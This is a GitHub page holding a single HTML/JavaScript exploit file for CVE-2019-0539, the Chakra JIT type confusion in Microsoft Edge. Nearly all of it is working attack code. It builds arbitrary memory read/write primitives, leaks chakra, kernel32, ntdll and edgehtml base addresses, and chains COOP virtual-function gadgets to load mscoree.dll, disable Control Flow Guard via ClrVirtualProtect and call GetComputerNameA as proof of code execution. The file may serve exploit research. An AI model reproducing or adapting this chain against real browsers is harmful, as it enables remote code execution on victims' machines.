-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2019-0539_COOP.html
306 lines (244 loc) · 10.1 KB
/
CVE-2019-0539_COOP.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
<html>
<body>
<script>
// .logopen c:\users\admin\desktop\log.txt
// bp edgehtml+fa9030
// then pass the argument to the looper function to disabvle CFG in the same way
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100000));
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function sleep(time){
for (let i = 0; i < time * 1000000; i++) {
console.log('logging the error')
}
}
function hex2a(hexx) {
var hex = hexx.toString(16);//force conversion
var str = '';
for (var i = 0; i < hex.length; i += 2)
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
return str;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, obj);
o.c = dv1;
obj.h = dv2;
vtable_lo = dv1.getUint32(0, true);
vtable_hi = dv1.getUint32(4, true);
vtableAddr = SignedDwordToUnsignedDword(vtable_lo) + SignedDwordToUnsignedDword(vtable_hi) * 0x100000000;
//prompt("vtable address is:", "0x" + vtableAddr.toString(16));
buffer_lo = dv1.getUint32(0x38, true);
buffer_high = dv1.getUint32(0x3C, true);
bufferAddr = SignedDwordToUnsignedDword(buffer_lo) + SignedDwordToUnsignedDword(buffer_high) * 0x100000000;
//prompt("buffer address is:", "0x" + bufferAddr.toString(16));
writePtr(bufferAddr+0x130, 0x800);
chakraBase = vtableAddr - 0x5676b0;
ntdllAddr = readPtr(chakraBase + 0x5B5310);
ntdllBase = ntdllAddr - 0x8f210;
kernel32Addr = readPtr(chakraBase + 0x5B4988);
kernel32Base = kernel32Addr - 0x15d10;
GetComputerNameA = kernel32Base + 0x5910;
WinExec = kernel32Base + 0x5f0e0;
LoadLibraryExWStub = kernel32Base + 0x1a570;
//loadlibstub = kernel32Base + 0x1ec50;
guard_disp_icall_nop = chakraBase + 0x2b96a0;
chakraCFG = chakraBase + 0x5b5310; //_guard_dispatch_icall
// finding edgehtml base address
pointersOffset = ntdllBase+0x178500
while(true)
{
edgehtmlBaseTmp = readPtr(pointersOffset);
//prompt("value is:", "0x" + edgehtmlBaseTmp.toString(16));
if(edgehtmlBaseTmp.toString(16) == "12cbac019b1000")
{
edgehtmlBase = readPtr(pointersOffset-0x8)
//prompt("edgehtmlBase is:", "0x" + edgehtmlBase.toString(16));
break;
}
pointersOffset = pointersOffset+0x8
}
fakeVtable = bufferAddr + 0x1000;
//prompt("fakeVtable:", "0x" + fakeVtable.toString(16));
for(i = 0; i < 0x80; i++)
{
funcPtr = readPtr(vtableAddr + i * 8);
writePtr(fakeVtable + i* 8, funcPtr);
}
globalListFirst = chakraBase + 0x7045a8;
threadBuffer = readPtr(globalListFirst);
stackAddr = readPtr(threadBuffer + 0x540);
//prompt("stack address is:", "0x" + stackAddr.toString(16));
//finding this ptr near on the stack
chakra_signature= chakraBase + 0x2b71a0;
pointersOffsetStack = stackAddr-0x1000;
while(true)
{
thisPtrNearTmp = readPtr(pointersOffsetStack);
if(thisPtrNearTmp.toString(16) == chakra_signature.toString(16))
{
thisPtrNear = readPtr(pointersOffsetStack-0x20);
//prompt("thisPtrNear is:", "0x" + thisPtrNear.toString(16));
break;
}
pointersOffsetStack = pointersOffsetStack+0x8;
}
this_ptr_masked = thisPtrNear & 0x0fff;
this_ptr = (thisPtrNear - this_ptr_masked)+0x900;
//prompt("this ptr address is:", "0x" + this_ptr.toString(16));
// COOP vfgadgets;
looper_vfgadget = edgehtmlBase + 0xfa9030; // edgehtml!CTravelLog::UpdateScreenshotStream
loadR8Vfgadget = edgehtmlBase + 0x2dbb10; // edgehtml!CHTMLEditor::IgnoreGlyphs
loadRDXVfgadget = edgehtmlBase + 0x842160; // edgehtml!CCircularPositionFormatFieldIterator::Next
loadRAXRCXVfgadget = edgehtmlBase + 0x2e90b0; // edgehtml!Microsoft::WRL::Details::DelegateArgTrait
storeRDXVfgadget = edgehtmlBase + 0x0057e390 // edgehtml!CBindingURLBlockFilter::SetFilterNotify
COOPbase= bufferAddr + 0x4000
//prompt("COOPbase is:", "0x" + COOPbase.toString(16));
// r8 loader
writePtr(COOPbase, COOPbase+0x10);
writePtr(COOPbase+0x10+0xf8, loadR8Vfgadget); // r8 vfgadget
writePtr(COOPbase+0x130, 0x800); // r8 arg
// rdx loader
writePtr(COOPbase+0x78, COOPbase+0x88); // deref ptrs and offsets for next vfgadgets
writePtr(COOPbase+0x88, COOPbase+0x98);
writePtr(COOPbase+0x98+0xf8, loadRDXVfgadget); // rdx vfgadget
writePtr(COOPbase+0x88+0x20, 0x0); // rdx arg
// rcx and rax loader + call LoadLibraryExWStub
writePtr(COOPbase+0x100, COOPbase+0x148); // deref ptrs and offsets for next vfgadgets
writePtr(COOPbase+0x148, COOPbase+0x158);
writePtr(COOPbase+0x158+0xf8, loadRAXRCXVfgadget);
writePtr(COOPbase+0x158, COOPbase+0x168);
writePtr(COOPbase+0x160, LoadLibraryExWStub); // rax arg
writePtr(COOPbase+0x168, 0x006f00630073006d); // mscoree.dll
writePtr(COOPbase+0x170, 0x002e006500650072);
writePtr(COOPbase+0x178, 0x0000006c006c0064);
writeDword(COOPbase+0x168,0x0073006d) // this is needed to fix the DLL first letter - don't ask
// store RDX (mscoree base addr) into vobject
writePtr(COOPbase+0x148+0x78, COOPbase+0x1d0);
writePtr(COOPbase+0x1d0, COOPbase+0x1e0);
writePtr(COOPbase+0x1e0+0xf8, storeRDXVfgadget);
// store RDX (mscoree base addr) into vobject
writePtr(COOPbase+0x248, COOPbase+0x258);
writePtr(COOPbase+0x258, COOPbase+0x268);
writePtr(COOPbase+0x268+0xf8, storeRDXVfgadget);
// looper
writePtr(fakeVtable + 0xb0, looper_vfgadget);
original_this_ptr_offset = readPtr(this_ptr+0x30); // hijack thisptr+0x30 with COOP gadgets
writePtr(this_ptr+0x30, COOPbase); // hijack thisptr+0x30 with COOP gadgets
writeDword(COOPbase+0x168,0x0073006d);
dv1.setInt32(0, fakeVtable & 0xFFFFFFFF, true);
dv1.setInt32(4, (fakeVtable / 0x100000000) & 0xFFFFFFFF, true);
//Math.sin(1);
try{
dv2.hasitem(0x4242);
}
catch(e){
console.log('logging the error');
}
writePtr(this_ptr+0x30, original_this_ptr_offset); // restoring original value
sleep(1);
// ClrVirtualProtect(this, chakraPageAddress,0x1000,PAGE_READWRITE,pScratchMemory)
// second COOP chain
mscoreeBase = readPtr(COOPbase + 0x100); // saves mscoree base address into var
//prompt("mscoreeBase is:", "0x" + mscoreeBase.toString(16));
COOPbase2= bufferAddr + 0x5000;
ClrVirtualProtect = mscoreeBase+0x288d0;
chakra_guard_dispatch_icall = chakraBase+0x5b5310;
chakra_guard_disp_icall_nop = chakraBase+0x2b96a0;
edgehtml_guard_dispatch_icall = edgehtmlBase+0x147fa90;
edgehtml_guard_disp_icall_nop = edgehtmlBase+0x5b60a0
load_all_args_gadget = edgehtmlBase+0xc7f3f0; //
writePtr(COOPbase2, COOPbase2+0x10);
writePtr(COOPbase2+0x10+0xf8, load_all_args_gadget); // r8 vfgadget
// invoker args vprotect
writePtr(COOPbase2+0x20,COOPbase2+0x48); // rcx
writePtr(COOPbase2+0x40,COOPbase2); // soon to be r9, now stack parameter lpflOldProtec
writePtr(COOPbase2+0x48,COOPbase2+0x300); // rax
writePtr(COOPbase2+0x3e8,ClrVirtualProtect); // rax
writePtr(COOPbase2+0x28, edgehtml_guard_dispatch_icall);// rdx
writePtr(COOPbase2+0x30, 0x1000); // r8
writePtr(COOPbase2+0x38, 0x04);
writePtr(fakeVtable + 0xb0, looper_vfgadget);
writePtr(this_ptr+0x30, COOPbase2); // hijack thisptr+0x30 with COOP gadgets
try{
dv2.hasitem(0x4242);
}
catch(e){
console.log('logging the error');
}
// nopping CFG in chakra
writePtr(edgehtml_guard_dispatch_icall, edgehtml_guard_disp_icall_nop);
//Math.sin(1);
// arbitrary code exec
//writeDword(fakeVtable + 0xb0, 0x42424242);
//writeDword(fakeVtable + 0xb4, 0x00004141);
writePtr(COOPbase2, COOPbase2+0x10);
writePtr(COOPbase2+0x10+0xf8, GetComputerNameA); // r8 vfgadget
writePtr(fakeVtable + 0xb0, looper_vfgadget);
writePtr(this_ptr+0x30, COOPbase2); // hijack thisptr+0x30 with COOP gadgets
try{
dv2.hasitem(0x4343);
}
catch(e){
console.log('logging the error');
}
ComputerName1 = readPtr(COOPbase2);
prompt("COOPbase is:", "0x" + COOPbase2.toString(16));
pc_name = hex2a(ComputerName1.toString(16).toUpperCase());
reversed = '';
for (let i = pc_name.length - 1; i >= 0; i--) {
reversed += pc_name[i];
}
prompt("PC name is:" + reversed);
prompt("W00t!");
//Math.sin(1);
}
function readPtr(addr)
{
dv1.setUint32(0x38, addr & 0xFFFFFFFF, true);
dv1.setUint32(0x3C, (addr / 0x100000000) & 0xFFFFFFFF, true);
var value = SignedDwordToUnsignedDword(dv2.getInt32(0, true));
value += SignedDwordToUnsignedDword( dv2.getInt32(4, true)) * 0x100000000;
return value;
}
function writePtr(addr, value)
{
dv1.setUint32(0x38, addr & 0xFFFFFFFF, true);
dv1.setUint32(0x3C, (addr / 0x100000000) & 0xFFFFFFFF, true);
dv2.setInt32(0, value & 0xFFFFFFFF, true);
dv2.setInt32(4, (value / 0x100000000) & 0xFFFFFFFF, true);
}
function writeDword(addr, value)
{
dv1.setUint32(0x38, addr & 0xFFFFFFFF, true);
dv1.setUint32(0x3C, (addr / 0x100000000) & 0xFFFFFFFF, true);
dv2.setInt32(0, value & 0xFFFFFFFF, true);
}
function SignedDwordToUnsignedDword(sd)
{
return (sd < 0) ? sd + 0x100000000 : sd;
}
</script>
<div class="buttonbar">
<input type="button" onclick="main()" value="Execute script" />
</body>
</html>